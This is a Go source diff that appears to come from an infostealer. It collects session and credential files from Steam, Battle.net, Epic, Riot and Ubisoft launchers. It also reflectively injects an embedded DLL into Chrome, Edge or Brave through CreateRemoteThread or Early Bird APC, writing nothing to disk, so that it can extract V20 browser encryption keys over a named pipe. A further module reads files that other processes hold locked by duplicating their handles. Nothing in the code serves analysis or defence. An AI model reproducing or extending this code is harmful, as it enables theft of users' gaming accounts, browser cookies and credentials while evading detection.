if steamPath == "" || !pathExists(steamPath) {
return nil, os.ErrNotExist
}
var files []string
entries, _ := os.ReadDir(steamPath)
for _, e := range entries {
if !e.IsDir() && strings.Contains(e.Name(), "ssfn") {
if info, _ := e.Info(); info != nil && info.Size() < maxZipFile {
files = append(files, filepath.Join(steamPath, e.Name()))
}
}
}
configDir := filepath.Join(steamPath, "config")
for _, name := range []string{"loginusers.vdf", "config.vdf", "DialogConfig.vdf"} {
p := filepath.Join(configDir, name)
if pathExists(p) {
files = append(files, p)
}
}
localVdf := filepath.Join(os.Getenv("LOCALAPPDATA"), "Steam", "local.vdf")
if pathExists(localVdf) {
files = append(files, localVdf)
}
if len(files) == 0 {
return nil, os.ErrNotExist
}
logf("[gaming] ZipSteamSession: %d files from %s", len(files), steamPath)
return ziputil.ZipFiles(files, filepath.Dir(steamPath))
}
func ZipBattleNet() ([]byte, error) {
bnDir := filepath.Join(os.Getenv("APPDATA"), "Battle.net")
if !pathExists(bnDir) {
return nil, os.ErrNotExist
}
return ziputil.ZipDirectory(bnDir)
}
func ZipEpic() ([]byte, error) {
configDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "EpicGamesLauncher", "Saved", "Config", "Windows")
if !pathExists(configDir) {
return nil, os.ErrNotExist
}
return ziputil.ZipDirectory(configDir)
}
func ZipRiot() ([]byte, error) {
riotDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "Riot Games", "Riot Client")
if !pathExists(riotDir) {
return nil, os.ErrNotExist
}
var files []string
for _, sub := range []string{"Data", "Config"} {
d := filepath.Join(riotDir, sub)
if !pathExists(d) {
continue
}
filepath.Walk(d, func(path string, info os.FileInfo, err error) error {
if err != nil || info.IsDir() || info.Size() > maxZipFile {
return nil
}
files = append(files, path)
return nil
})
}
if len(files) == 0 {
return nil, os.ErrNotExist
}
return ziputil.ZipFiles(files, riotDir)
}
func ZipUplay() ([]byte, error) {
uplayDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "Ubisoft Game Launcher")
if !pathExists(uplayDir) {
return nil, os.ErrNotExist
}
return ziputil.ZipDirectory(uplayDir)
}
@@ -0,0 +1,26 @@
package recovery
import (
"fmt"
"log"
"sync"
)
func logf(format string, args ...interface{}) {
log.Printf("[recovery] "+format, args...)
}
func safeRecover(where string) {
if r := recover(); r != nil {
logf("panic recovered in %s: %v", where, r)
}
}
func recoverErrors(where string, errs *[]string, mu *sync.Mutex) {
if r := recover(); r != nil {
logf("panic recovered in %s: %v", where, r)
mu.Lock()
*errs = append(*errs, fmt.Sprintf("%s: %v", where, r))
mu.Unlock()
}
}
@@ -0,0 +1,14 @@
//go:build windows
package platform
import (
_ "embed"
)
//go:embed compat-layer.dll
var embeddedDLL []byte
func GetEmbeddedDLL() []byte {
return embeddedDLL
}
@@ -0,0 +1,7 @@
//go:build !windows
package platform
func GetEmbeddedDLL() []byte {
return nil
}
@@ -0,0 +1,631 @@
//go:build windows
package platform
import (
"encoding/base64"
"encoding/binary"
"fmt"
"os"
"path/filepath"
"strings"
"syscall"
"unsafe"
"golang.org/x/sys/windows"
)
var (
modKernel32Inj = windows.NewLazySystemDLL("kernel32.dll")
procVirtualAllocEx = modKernel32Inj.NewProc("VirtualAllocEx")
procVirtualFreeEx = modKernel32Inj.NewProc("VirtualFreeEx")
procCreateRemoteThread = modKernel32Inj.NewProc("CreateRemoteThread")
procQueueUserAPC = modKernel32Inj.NewProc("QueueUserAPC")
modNtdllInj = windows.NewLazySystemDLL("ntdll.dll")
procNtQueryInformationProcess = modNtdllInj.NewProc("NtQueryInformationProcess")
)
// processBasicInformation mirrors PROCESS_BASIC_INFORMATION (x64).
type processBasicInformation struct {
Reserved1 uintptr
PebBaseAddress uintptr
Reserved2 [2]uintptr
UniqueProcessId uintptr
Reserved3 uintptr
}
// unicodeString mirrors UNICODE_STRING.
type unicodeString struct {
Length uint16
MaximumLength uint16
Buffer uintptr
}
// processCommandLine returns the full command line of a process by walking its
// PEB (x64 offsets). Used to distinguish the main browser process from its
// renderer/GPU/utility subprocesses.
func processCommandLine(pid uint32) (string, error) {
hProcess, err := windows.OpenProcess(
windows.PROCESS_QUERY_LIMITED_INFORMATION|windows.PROCESS_VM_READ, false, pid)
if err != nil {
return "", err
}
defer windows.CloseHandle(hProcess)
var pbi processBasicInformation
var retLen uint32
status, _, _ := procNtQueryInformationProcess.Call(
uintptr(hProcess), 0, uintptr(unsafe.Pointer(&pbi)),
unsafe.Sizeof(pbi), uintptr(unsafe.Pointer(&retLen)),
)
if status != 0 || pbi.PebBaseAddress == 0 {
return "", fmt.Errorf("NtQueryInformationProcess: 0x%x", status)
}
// PEB.ProcessParameters (offset 0x20 on x64).
var procParams uintptr
if err := windows.ReadProcessMemory(hProcess, pbi.PebBaseAddress+0x20,
(*byte)(unsafe.Pointer(&procParams)), unsafe.Sizeof(procParams), nil); err != nil {
return "", err
}
if procParams == 0 {
return "", fmt.Errorf("no process parameters")
}
// RTL_USER_PROCESS_PARAMETERS.CommandLine (offset 0x70 on x64).
var cmdLine unicodeString
if err := windows.ReadProcessMemory(hProcess, procParams+0x70,
(*byte)(unsafe.Pointer(&cmdLine)), unsafe.Sizeof(cmdLine), nil); err != nil {
return "", err
}
if cmdLine.Length == 0 || cmdLine.Buffer == 0 {
return "", fmt.Errorf("no command line")
}
buf := make([]uint16, cmdLine.Length/2)
if err := windows.ReadProcessMemory(hProcess, cmdLine.Buffer,
(*byte)(unsafe.Pointer(&buf[0])), uintptr(cmdLine.Length), nil); err != nil {
return "", err
}
return syscall.UTF16ToString(buf), nil
}
func orderedBrowserPIDs(exeName string) []uint32 {
pids, err := FindProcesses(exeName)
if err != nil || len(pids) <= 1 {
return pids
}
for i, pid := range pids {
if cmdline, err := processCommandLine(pid); err == nil && !strings.Contains(cmdline, "--type=") {
if i != 0 {
pids[0], pids[i] = pids[i], pids[0]
}
return pids
}
}
return pids
}
// findReflectiveLoaderOffset parses the PE export table in file layout and
// returns the file offset of the ReflectiveLoader export function.
func findReflectiveLoaderOffset(pe []byte) (uint32, error) {
if len(pe) < 64 || pe[0] != 'M' || pe[1] != 'Z' {
return 0, fmt.Errorf("not a valid PE")
}
lfanew := binary.LittleEndian.Uint32(pe[60:])
if int(lfanew)+24 > len(pe) {
return 0, fmt.Errorf("truncated PE header")
}
if binary.LittleEndian.Uint32(pe[lfanew:]) != 0x00004550 {
return 0, fmt.Errorf("bad PE signature")
}
coffOff := lfanew + 4
numSections := binary.LittleEndian.Uint16(pe[coffOff+2:])
optHeaderSize := binary.LittleEndian.Uint16(pe[coffOff+16:])
optHeaderOff := coffOff + 20
if int(optHeaderOff)+4 > len(pe) {
return 0, fmt.Errorf("truncated optional header")
}
magic := binary.LittleEndian.Uint16(pe[optHeaderOff:])
var exportRVA uint32
switch magic {
case 0x10b: // PE32
if int(optHeaderOff)+100 > len(pe) {
return 0, fmt.Errorf("PE32 optional header too short")
}
exportRVA = binary.LittleEndian.Uint32(pe[optHeaderOff+96:])
case 0x20b: // PE32+
if int(optHeaderOff)+116 > len(pe) {
return 0, fmt.Errorf("PE32+ optional header too short")
}
exportRVA = binary.LittleEndian.Uint32(pe[optHeaderOff+112:])
default:
return 0, fmt.Errorf("unknown PE magic 0x%x", magic)
}
sectionOff := optHeaderOff + uint32(optHeaderSize)
// rva2fo converts a virtual RVA to a file offset via the section table.
rva2fo := func(rva uint32) uint32 {
for i := uint16(0); i < numSections; i++ {
off := sectionOff + uint32(i)*40
if int(off)+40 > len(pe) {
break
}
// IMAGE_SECTION_HEADER layout:
// +0 Name[8]
// +8 VirtualSize
// +12 VirtualAddress
// +16 SizeOfRawData
// +20 PointerToRawData
vAddr := binary.LittleEndian.Uint32(pe[off+12:])
vSize := binary.LittleEndian.Uint32(pe[off+8:])
rawPtr := binary.LittleEndian.Uint32(pe[off+20:])
rawSize := binary.LittleEndian.Uint32(pe[off+16:])
span := vSize
if rawSize > span {
span = rawSize
}
if rva >= vAddr && rva < vAddr+span {
delta := rva - vAddr
if delta < rawSize {
return rawPtr + delta
}
}
}
// RVA might be in the PE headers (before the first section).
if numSections > 0 {
firstRaw := binary.LittleEndian.Uint32(pe[sectionOff+20:])
if rva < firstRaw {
return rva
}
}
return 0
}
exportFO := rva2fo(exportRVA)
if exportFO == 0 || int(exportFO)+40 > len(pe) {
return 0, fmt.Errorf("invalid export directory")
}
// IMAGE_EXPORT_DIRECTORY offsets:
// +20 NumberOfFunctions
// +24 NumberOfNames
// +28 AddressOfFunctions
// +32 AddressOfNames
// +36 AddressOfNameOrdinals
numNames := binary.LittleEndian.Uint32(pe[exportFO+24:])
functionsFO := rva2fo(binary.LittleEndian.Uint32(pe[exportFO+28:]))
namesFO := rva2fo(binary.LittleEndian.Uint32(pe[exportFO+32:]))
ordinalsFO := rva2fo(binary.LittleEndian.Uint32(pe[exportFO+36:]))
for i := uint32(0); i < numNames; i++ {
if int(namesFO+i*4+4) > len(pe) {
break
}
nameFO := rva2fo(binary.LittleEndian.Uint32(pe[namesFO+i*4:]))
if nameFO == 0 || int(nameFO) >= len(pe) {
continue
}
name := pe[nameFO:]
found := false
for k := 0; k < 64 && int(nameFO)+k+16 <= len(pe); k++ {
if name[k] == 0 {
break
}
if name[k] == 'R' && string(name[k:k+16]) == "ReflectiveLoader" {
found = true
break
}
}
if !found {
continue
}
if int(ordinalsFO+i*2+2) > len(pe) {
break
}
ordinal := uint32(binary.LittleEndian.Uint16(pe[ordinalsFO+i*2:]))
if int(functionsFO+ordinal*4+4) > len(pe) {
break
}
funcFO := rva2fo(binary.LittleEndian.Uint32(pe[functionsFO+ordinal*4:]))
if funcFO != 0 {
return funcFO, nil
}
}
return 0, fmt.Errorf("ReflectiveLoader export not found")
}
// writeReflectiveDLL allocates RWX memory in hProcess, writes the full DLL image
// followed by the UTF-16 pipe name, and returns the remote addresses of the
// ReflectiveLoader entry point and the pipe name. The pipe name is passed to
// the loader as lpParameter so it reaches DllMain without relying on an
// inherited environment variable (which running browsers do not have).
func writeReflectiveDLL(hProcess windows.Handle, dllBytes []byte, pipeName string) (loaderAddr, pipeNameAddr uintptr, err error) {
loaderOff, err := findReflectiveLoaderOffset(dllBytes)
if err != nil {
return 0, 0, fmt.Errorf("find reflective loader: %w", err)
}
pipeW, err := syscall.UTF16FromString(pipeName)
if err != nil {
return 0, 0, fmt.Errorf("utf16 pipe name: %w", err)
}
pipeBytes := len(pipeW) * 2
total := len(dllBytes) + pipeBytes
remoteMem, _, _ := procVirtualAllocEx.Call(
uintptr(hProcess), 0, uintptr(total),
windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE,
)
if remoteMem == 0 {
return 0, 0, fmt.Errorf("VirtualAllocEx failed")
}
var written uintptr
if err := windows.WriteProcessMemory(hProcess, remoteMem, &dllBytes[0], uintptr(len(dllBytes)), &written); err != nil {
procVirtualFreeEx.Call(uintptr(hProcess), remoteMem, 0, windows.MEM_RELEASE)
return 0, 0, fmt.Errorf("WriteProcessMemory: %w", err)
}
pipeNameAddr = remoteMem + uintptr(len(dllBytes))
pipeBuf := unsafe.Slice((*byte)(unsafe.Pointer(&pipeW[0])), pipeBytes)
if err := windows.WriteProcessMemory(hProcess, pipeNameAddr, &pipeBuf[0], uintptr(pipeBytes), &written); err != nil {
procVirtualFreeEx.Call(uintptr(hProcess), remoteMem, 0, windows.MEM_RELEASE)
return 0, 0, fmt.Errorf("WriteProcessMemory pipe: %w", err)
}
return remoteMem + uintptr(loaderOff), pipeNameAddr, nil
}
func createKillOnCloseJob() (windows.Handle, error) {
job, err := windows.CreateJobObject(nil, nil)
if err != nil {
return 0, fmt.Errorf("CreateJobObject: %w", err)
}
var info windows.JOBOBJECT_EXTENDED_LIMIT_INFORMATION
info.BasicLimitInformation.LimitFlags |= windows.JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE
_, err = windows.SetInformationJobObject(job, windows.JobObjectExtendedLimitInformation,
uintptr(unsafe.Pointer(&info)), uint32(unsafe.Sizeof(info)))
if err != nil {
windows.CloseHandle(job)
return 0, fmt.Errorf("SetInformationJobObject: %w", err)
}
return job, nil
}
// InjectDLL reflectively injects the DLL into a running process via CreateRemoteThread.
// The DLL bytes are written directly into the target process — no temp file on disk.
func InjectDLL(dllBytes []byte, pipeName string, targetPID uint32) (*PipeSession, error) {
hProcess, err := windows.OpenProcess(
windows.PROCESS_CREATE_THREAD|windows.PROCESS_QUERY_INFORMATION|
windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ,
false, targetPID)
if err != nil {
return nil, fmt.Errorf("OpenProcess(%d): %w", targetPID, err)
}
loaderAddr, pipeNameAddr, err := writeReflectiveDLL(hProcess, dllBytes, pipeName)
if err != nil {
windows.CloseHandle(hProcess)
return nil, err
}
hThread, _, lerr := procCreateRemoteThread.Call(uintptr(hProcess), 0, 0, loaderAddr, pipeNameAddr, 0, 0)
if hThread == 0 {
windows.CloseHandle(hProcess)
return nil, fmt.Errorf("CreateRemoteThread: %w", lerr)
}
windows.CloseHandle(windows.Handle(hThread))
logf("DLL reflectively injected into PID %d", targetPID)
return &PipeSession{
pid: targetPID,
hProcess: hProcess,
}, nil
}
func cleanupInjection(hProcess windows.Handle, addr uintptr) {
procVirtualFreeEx.Call(uintptr(hProcess), addr, 0, windows.MEM_RELEASE)
windows.CloseHandle(hProcess)
}
// CreatePipeSession creates a named pipe, reflectively injects the DLL into an
// existing browser process (passing the pipe name via lpParameter), and waits
// for connection. Falls back to creating a new headless browser process if
// injection into an existing process fails or times out.
func CreatePipeSession(dllBytes []byte, browserName string) (*PipeSession, error) {
pipeName := createPipeName()
logf("creating pipe: %s", pipeName)
hPipe, err := createPipeServer(pipeName)
if err != nil {
return nil, fmt.Errorf("create pipe server: %w", err)
}
pids := orderedBrowserPIDs(BrowserExeName(browserName))
const maxExistingTries = 3
if len(pids) > 0 {
for i, pid := range pids {
if i >= maxExistingTries {
logf("reached max existing process attempts (%d) for %s", maxExistingTries, browserName)
break
}
logf("trying existing %s PID %d", browserName, pid)
s, err := InjectDLL(dllBytes, pipeName, pid)
if err != nil {
logf("inject PID %d failed: %v", pid, err)
continue
}
s.watchExit(fmt.Sprintf("existing %s", browserName), 2000)
if err := waitPipeConnect(hPipe, 2000); err != nil {
logf("pipe connect timeout for PID %d", pid)
s.Close()
procDisconnectNamedPipe.Call(uintptr(hPipe))
windows.CloseHandle(hPipe)
hPipe, err = createPipeServer(pipeName)
if err != nil {
return nil, fmt.Errorf("recreate pipe: %w", err)
}
continue
}
s.hPipe = hPipe
ActivePipeSession = s
logf("pipe session established with existing %s (PID %d)", browserName, pid)
return s, nil
}
logf("failed to inject into existing %s processes, will try creating new process", browserName)
} else {
logf("no running %s found, will create new headless process", browserName)
}
s, err := CreateAndInjectBrowser(dllBytes, pipeName, browserName)
if err != nil {
windows.CloseHandle(hPipe)
return nil, fmt.Errorf("create and inject browser: %w", err)
}
s.watchExit(fmt.Sprintf("spawned %s", browserName), 8000)
if err := waitPipeConnect(hPipe, 5000); err != nil {
logf("pipe connect timeout for new process")
s.Close()
windows.CloseHandle(hPipe)
return nil, fmt.Errorf("pipe connect timeout")
}
s.hPipe = hPipe
s.ownsProcess = true
ActivePipeSession = s
logf("pipe session established with new %s (PID %d)", browserName, s.pid)
return s, nil
}
// FindProcesses returns PIDs of running processes matching the given exe name.
func FindProcesses(exeName string) ([]uint32, error) {
if exeName == "" {
return nil, nil
}
hSnapshot, err := windows.CreateToolhelp32Snapshot(windows.TH32CS_SNAPPROCESS, 0)
if err != nil {
return nil, err
}
defer windows.CloseHandle(hSnapshot)
var entry windows.ProcessEntry32
entry.Size = uint32(unsafe.Sizeof(entry))
if err := windows.Process32First(hSnapshot, &entry); err != nil {
return nil, err
}
var pids []uint32
for {
if syscall.UTF16ToString(entry.ExeFile[:]) == exeName {
pids = append(pids, entry.ProcessID)
}
if err := windows.Process32Next(hSnapshot, &entry); err != nil {
break
}
}
return pids, nil
}
func BrowserExeName(name string) string {
switch name {
case "Chrome":
return "chrome.exe"
case "Edge":
return "msedge.exe"
case "Brave":
return "brave.exe"
}
return ""
}
// CreateAndInjectBrowser creates a new suspended browser process and reflectively
// injects the DLL via Early Bird APC. No temp file is written to disk.
func CreateAndInjectBrowser(dllBytes []byte, pipeName string, browserName string) (*PipeSession, error) {
browserPath, err := getBrowserPath(browserName)
if err != nil {
return nil, fmt.Errorf("get browser path: %w", err)
}
browserPathW, err := syscall.UTF16PtrFromString(browserPath)
if err != nil {
return nil, err
}
cmdLine := fmt.Sprintf(`"%s" --headless --disable-gpu --no-sandbox --disable-dev-shm-usage`, browserPath)
cmdLineW, err := syscall.UTF16PtrFromString(cmdLine)
if err != nil {
return nil, err
}
var si windows.StartupInfo
var pi windows.ProcessInformation
si.Cb = uint32(unsafe.Sizeof(si))
if err := windows.CreateProcess(browserPathW, cmdLineW, nil, nil, false,
windows.CREATE_SUSPENDED, nil, nil, &si, &pi); err != nil {
return nil, fmt.Errorf("CreateProcess: %w", err)
}
logf("created suspended %s process (PID: %d)", browserName, pi.ProcessId)
// Create a kill-on-close job and assign the suspended browser to it so the
// whole process tree is reaped when the session closes, even though the
// headless parent self-exits after serving one key.
job, jobErr := createKillOnCloseJob()
if jobErr != nil {
logf("job object unavailable, falling back to TerminateProcess: %v", jobErr)
} else if err := windows.AssignProcessToJobObject(job, pi.Process); err != nil {
logf("AssignProcessToJobObject failed, falling back to TerminateProcess: %v", err)
windows.CloseHandle(job)
job = 0
} else {
logf("spawned %s (PID %d) assigned to kill-on-close job", browserName, pi.ProcessId)
}
cleanup := func() {
if job != 0 {
windows.CloseHandle(job)
}
windows.TerminateProcess(pi.Process, 0)
windows.CloseHandle(pi.Process)
windows.CloseHandle(pi.Thread)
}
loaderAddr, pipeNameAddr, err := writeReflectiveDLL(pi.Process, dllBytes, pipeName)
if err != nil {
cleanup()
return nil, err
}
// Queue APC to the main thread — fires on its first alertable wait after resume.
ret, _, aerr := procQueueUserAPC.Call(loaderAddr, uintptr(pi.Thread), pipeNameAddr)
if ret == 0 {
cleanup()
return nil, fmt.Errorf("QueueUserAPC: %w", aerr)
}
logf("queued APC for reflective loader")
if _, err := windows.ResumeThread(pi.Thread); err != nil {
cleanup()
return nil, fmt.Errorf("ResumeThread: %w", err)
}
logf("resumed process main thread")
return &PipeSession{
pid: pi.ProcessId,
hProcess: pi.Process,
ownsProcess: true,
job: job,
}, nil
}
func getBrowserPath(browserName string) (string, error) {
var paths []string
switch browserName {
case "Chrome":
paths = []string{
filepath.Join(os.Getenv("ProgramFiles"), "Google", "Chrome", "Application", "chrome.exe"),
filepath.Join(os.Getenv("ProgramFiles(x86)"), "Google", "Chrome", "Application", "chrome.exe"),
filepath.Join(os.Getenv("LOCALAPPDATA"), "Google", "Chrome", "Application", "chrome.exe"),
}
case "Edge":
paths = []string{
filepath.Join(os.Getenv("ProgramFiles"), "Microsoft", "Edge", "Application", "msedge.exe"),
filepath.Join(os.Getenv("ProgramFiles(x86)"), "Microsoft", "Edge", "Application", "msedge.exe"),
}
case "Brave":
paths = []string{
filepath.Join(os.Getenv("ProgramFiles"), "BraveSoftware", "Brave-Browser", "Application", "brave.exe"),
filepath.Join(os.Getenv("ProgramFiles(x86)"), "BraveSoftware", "Brave-Browser", "Application", "brave.exe"),
filepath.Join(os.Getenv("LOCALAPPDATA"), "BraveSoftware", "Brave-Browser", "Application", "brave.exe"),
}
default:
return "", fmt.Errorf("unknown browser: %s", browserName)
}
for _, p := range paths {
if _, err := os.Stat(p); err == nil {
return p, nil
}
}
return "", fmt.Errorf("%s not found", browserName)
}
// TryV20KeyViaBrowserSession attempts to decrypt a V20 key by injecting a DLL
// into a browser process and communicating via named pipe.
func TryV20KeyViaBrowserSession(processName, browserName string, encBlob []byte) ([]byte, error) {
dllBytes := GetEmbeddedDLL()
if dllBytes == nil {
return nil, fmt.Errorf("no embedded DLL")
}
pids := orderedBrowserPIDs(processName)
if len(pids) == 0 && browserName == "Chrome" {
return nil, fmt.Errorf("no running Chrome processes for V20")
}
pipeName := createPipeName()
hPipe, err := createPipeServer(pipeName)
if err != nil {
return nil, fmt.Errorf("create pipe: %w", err)
}
const maxTries = 3
for i, pid := range pids {
if i >= maxTries {
break
}
s, injErr := InjectDLL(dllBytes, pipeName, pid)
if injErr != nil {
logf("V20 inject %s PID %d: %v", browserName, pid, injErr)
continue
}
s.watchExit(fmt.Sprintf("V20 %s", browserName), 2000)
if connErr := waitPipeConnect(hPipe, 1000); connErr != nil {
logf("V20 pipe timeout for %s PID %d", browserName, pid)
procDisconnectNamedPipe.Call(uintptr(hPipe))
windows.CloseHandle(hPipe)
hPipe, err = createPipeServer(pipeName)
if err != nil {
return nil, fmt.Errorf("recreate pipe: %w", err)
}
continue
}
s.hPipe = hPipe
encB64 := base64.StdEncoding.EncodeToString(encBlob)
key, keyErr := s.GetV20Key(browserName, encB64)
s.Close()
return key, keyErr
}
if browserName == "Chrome" {
windows.CloseHandle(hPipe)
tried := len(pids)
if tried > maxTries {
tried = maxTries
}
return nil, fmt.Errorf("V20 session failed for Chrome (tried %d existing PIDs)", tried)
}
logf("existing %s PIDs failed for V20, launching headless process", browserName)
s, err := CreateAndInjectBrowser(dllBytes, pipeName, browserName)
if err != nil {
windows.CloseHandle(hPipe)
return nil, fmt.Errorf("create headless %s for V20: %w", browserName, err)
}
s.watchExit(fmt.Sprintf("V20 spawned %s", browserName), 8000)
if connErr := waitPipeConnect(hPipe, 5000); connErr != nil {
s.Close()
windows.CloseHandle(hPipe)
return nil, fmt.Errorf("pipe connect timeout for new headless %s", browserName)
}
s.hPipe = hPipe
encB64 := base64.StdEncoding.EncodeToString(encBlob)
key, keyErr := s.GetV20Key(browserName, encB64)
s.Close()
return key, keyErr
}
@@ -0,0 +1,44 @@
//go:build !windows
package platform
import (
"errors"
"os/exec"
"strconv"
"strings"
)
func InjectDLL(dllBytes []byte, pipeName string, targetPID uint32) (*PipeSession, error) {
return nil, errors.New("DLL injection not supported on this platform")
}
func CreatePipeSession(dllBytes []byte, browserName string) (*PipeSession, error) {
return nil, errors.New("pipe injection not supported on this platform")
}
func FindProcesses(exeName string) ([]uint32, error) {
if exeName == "" {
return nil, nil
}
out, err := exec.Command("pgrep", "-x", exeName).Output()
if err != nil {
return nil, nil
}
var pids []uint32
for _, line := range strings.Split(strings.TrimSpace(string(out)), "\n") {
line = strings.TrimSpace(line)
if pid, err := strconv.ParseUint(line, 10, 32); err == nil {
pids = append(pids, uint32(pid))
}
}
return pids, nil
}
func BrowserExeName(name string) string {
return ""
}
func TryV20KeyViaBrowserSession(processName, browserName string, encBlob []byte) ([]byte, error) {
return nil, errors.New("not supported on this platform")
}
@@ -0,0 +1,11 @@
//go:build !windows
package platform
import "os"
func ReadLockedFile(srcPath string, pids []uint32) ([]byte, error) {
return os.ReadFile(srcPath)
}
func ResetHandleCache() {}
@@ -0,0 +1,330 @@
//go:build windows
package platform
import (
"fmt"
"os"
"strings"
"sync"
"syscall"
"unsafe"
"golang.org/x/sys/windows"
)
const (
SystemExtendedHandleInformation = 64
fileTypeDisk2 = 0x0001
pageReadonly2 = 0x02
fileMapRead2 = 0x04
)
type systemHandleInfoEx struct {
NumberOfHandles uintptr
Reserved uintptr
Handles [1]systemHandleEntry
}
type systemHandleEntry struct {
Object uintptr
UniqueProcessId uintptr
HandleValue uintptr
GrantedAccess uint32
CreatorBackTrace uint16
ObjectTypeIndex uint16
HandleAttributes uint32
Reserved uint32
}
type rmUniqueProcess2 struct {
ProcessId uint32
ProcessStartTime syscall.Filetime
}
type rmProcessInfo2 struct {
Process rmUniqueProcess2
AppName [256]uint16
ServiceShortName [64]uint16
ApplicationType uint32
AppStatus uint32
TSSessionId uint32
Restartable int32
}
var (
modNtdll2 = windows.NewLazySystemDLL("ntdll.dll")
procNtQuerySystemInformation = modNtdll2.NewProc("NtQuerySystemInformation")
modKernel32 = windows.NewLazySystemDLL("kernel32.dll")
procGetFileSizeEx = modKernel32.NewProc("GetFileSizeEx")
procCreateFileMappingW = modKernel32.NewProc("CreateFileMappingW")
procMapViewOfFile = modKernel32.NewProc("MapViewOfFile")
procUnmapViewOfFile = modKernel32.NewProc("UnmapViewOfFile")
procGetFinalPathNameByHandle = modKernel32.NewProc("GetFinalPathNameByHandleW")
procGetFileType = modKernel32.NewProc("GetFileType")
modRstrtmgr = windows.NewLazySystemDLL("rstrtmgr.dll")
procRmStartSession = modRstrtmgr.NewProc("RmStartSession")
procRmEndSession = modRstrtmgr.NewProc("RmEndSession")
procRmRegisterResources = modRstrtmgr.NewProc("RmRegisterResources")
procRmGetList = modRstrtmgr.NewProc("RmGetList")
)
var (
handleCacheMu sync.Mutex
handleCacheVal []systemHandleEntry
)
func cachedSystemHandles() ([]systemHandleEntry, error) {
handleCacheMu.Lock()
defer handleCacheMu.Unlock()
if handleCacheVal != nil {
return handleCacheVal, nil
}
h, err := querySystemHandles()
if err != nil {
return nil, err
}
handleCacheVal = h
return h, nil
}
func ResetHandleCache() {
handleCacheMu.Lock()
handleCacheVal = nil
handleCacheMu.Unlock()
}
func ReadLockedFile(srcPath string, pids []uint32) ([]byte, error) {
if data, err := os.ReadFile(srcPath); err == nil {
logf("read directly: %s", srcPath)
return data, nil
}
if lockPids := getProcessesLockingFile(srcPath); len(lockPids) > 0 {
pids = mergePIDs(pids, lockPids)
}
if len(pids) > 0 {
if data, err := readViaHandleDuplication(srcPath, pids); err == nil {
logf("read via handle dup: %s", srcPath)
return data, nil
}
}
if ActivePipeSession != nil {
if data, err := ActivePipeSession.ReadFile(srcPath); err == nil && len(data) > 0 {
logf("read via pipe: %s (%d bytes)", srcPath, len(data))
return data, nil
}
}
return nil, fmt.Errorf("all read methods failed for: %s", srcPath)
}
func mergePIDs(a, b []uint32) []uint32 {
seen := make(map[uint32]struct{}, len(a)+len(b))
for _, p := range a {
seen[p] = struct{}{}
}
result := append([]uint32(nil), a...)
for _, p := range b {
if _, ok := seen[p]; !ok {
result = append(result, p)
seen[p] = struct{}{}
}
}
return result
}
func readViaHandleDuplication(srcPath string, pids []uint32) ([]byte, error) {
handles, err := cachedSystemHandles()
if err != nil {
return nil, err
}
pidSet := make(map[uintptr]struct{}, len(pids))
for _, p := range pids {
pidSet[uintptr(p)] = struct{}{}
}
for _, h := range handles {
if _, ok := pidSet[h.UniqueProcessId]; !ok {
continue
}
hProcess, err := windows.OpenProcess(windows.PROCESS_DUP_HANDLE, false, uint32(h.UniqueProcessId))
if err != nil {
continue
}
var dupHandle windows.Handle
err = windows.DuplicateHandle(hProcess, windows.Handle(h.HandleValue),
windows.CurrentProcess(), &dupHandle, 0, false, windows.DUPLICATE_SAME_ACCESS)
windows.CloseHandle(hProcess)
if err != nil {
continue
}
ft, _, _ := procGetFileType.Call(uintptr(dupHandle))
if ft != fileTypeDisk2 {
windows.CloseHandle(dupHandle)
continue
}
handlePath := getHandlePath(uintptr(dupHandle))
if handlePath == "" || !strings.EqualFold(handlePath, srcPath) {
windows.CloseHandle(dupHandle)
continue
}
data, err := readFileByMapping(dupHandle)
windows.CloseHandle(dupHandle)
if err == nil {
return data, nil
}
}
return nil, fmt.Errorf("handle duplication failed for %s", srcPath)
}
func readFileByMapping(h windows.Handle) ([]byte, error) {
var fileSize int64
ok, _, _ := procGetFileSizeEx.Call(uintptr(h), uintptr(unsafe.Pointer(&fileSize)))
if ok == 0 || fileSize <= 0 {
return nil, fmt.Errorf("empty or unreadable file")
}
hMapping, _, _ := procCreateFileMappingW.Call(uintptr(h), 0, pageReadonly2, 0, 0, 0)
if hMapping == 0 {
return nil, fmt.Errorf("CreateFileMappingW failed")
}
defer windows.CloseHandle(windows.Handle(hMapping))
baseAddr, _, _ := procMapViewOfFile.Call(hMapping, fileMapRead2, 0, 0, uintptr(fileSize))
if baseAddr == 0 {
return nil, fmt.Errorf("MapViewOfFile failed")
}
defer procUnmapViewOfFile.Call(baseAddr)
data := make([]byte, fileSize)
copy(data, unsafe.Slice((*byte)(unsafe.Pointer(baseAddr)), fileSize))
return data, nil
}
func querySystemHandles() ([]systemHandleEntry, error) {
bufSize := uint32(1 * 1024 * 1024)
for {
buf := make([]byte, bufSize)
var returnLength uint32
status, _, _ := procNtQuerySystemInformation.Call(
SystemExtendedHandleInformation,
uintptr(unsafe.Pointer(&buf[0])),
uintptr(bufSize),
uintptr(unsafe.Pointer(&returnLength)),
)
if status&0xFFFFFFFF == 0xC0000004 {
bufSize = returnLength + 65536
if bufSize > 256*1024*1024 {
return nil, fmt.Errorf("handle buffer too large")
}
continue
}
if status != 0 {
return nil, fmt.Errorf("NtQuerySystemInformation: 0x%x", status)
}
info := (*systemHandleInfoEx)(unsafe.Pointer(&buf[0]))
count := int(info.NumberOfHandles)
handles := make([]systemHandleEntry, count)
for i := 0; i < count; i++ {
entry := (*systemHandleEntry)(unsafe.Pointer(
uintptr(unsafe.Pointer(&info.Handles[0])) + uintptr(i)*unsafe.Sizeof(info.Handles[0]),
))
handles[i] = *entry
}
return handles, nil
}
}
func getHandlePath(handle uintptr) string {
buf := make([]uint16, 32768)
n, _, _ := procGetFinalPathNameByHandle.Call(
handle,
uintptr(unsafe.Pointer(&buf[0])),
uintptr(len(buf)),
0,
)
if n == 0 || n >= uintptr(len(buf)) {
return ""
}
s := syscall.UTF16ToString(buf[:n])
if strings.HasPrefix(s, `\\?\`) {
s = s[4:]
}
return s
}
func getProcessesLockingFile(filePath string) []uint32 {
suffix := filePath
if len(suffix) > 8 {
suffix = suffix[len(suffix)-8:]
}
sessionKey, err := syscall.UTF16PtrFromString("kematian_" + suffix)
if err != nil {
return nil
}
var sessionHandle uint32
